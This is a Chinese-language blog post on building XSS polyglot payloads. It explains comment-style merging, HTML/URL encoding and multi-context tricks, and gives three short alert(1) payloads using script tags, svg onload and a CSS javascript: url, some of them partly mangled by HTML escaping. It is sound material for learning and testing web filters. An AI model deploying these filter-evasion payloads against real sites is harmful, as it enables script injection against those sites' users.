卓越飞翔博客卓越飞翔博客

卓越飞翔 - 您值得收藏的技术分享站
技术文章78037本站已运行446

创建强大的 XSS 多语言

创建强大的 xss 多语言

多语言有效负载利用多种编码、注入和混淆技术来绕过过滤器、混淆解析器,并跨不同上下文(如 html、javascript、css、json 等)触发执行。

-合并评论样式
多语言者经常通过合并不同的注释风格来混淆解析器:

javascript: //, /* */
html: <!-- -->

<!--<script>/*--><svg onload="alert(1)/*&lt;/script">--&gt;
</svg>

-使用编码实体
使用 html 或 url 编码绕过过滤器:

html: , "
url: %3c, %3e, %22
<script>alert(1)</script>

-多语言环境
多语言负载可跨多种语言工作,例如 html、javascript、css。

"&gt;<svg onload="alert(1)" style="background:url(javascript:alert(1))"></svg>
卓越飞翔博客
上一篇: 掌握 JavaScript 异步模式:从回调到异步/等待
下一篇: 返回列表
留言与评论(共有 0 条评论)
   
验证码:
隐藏边栏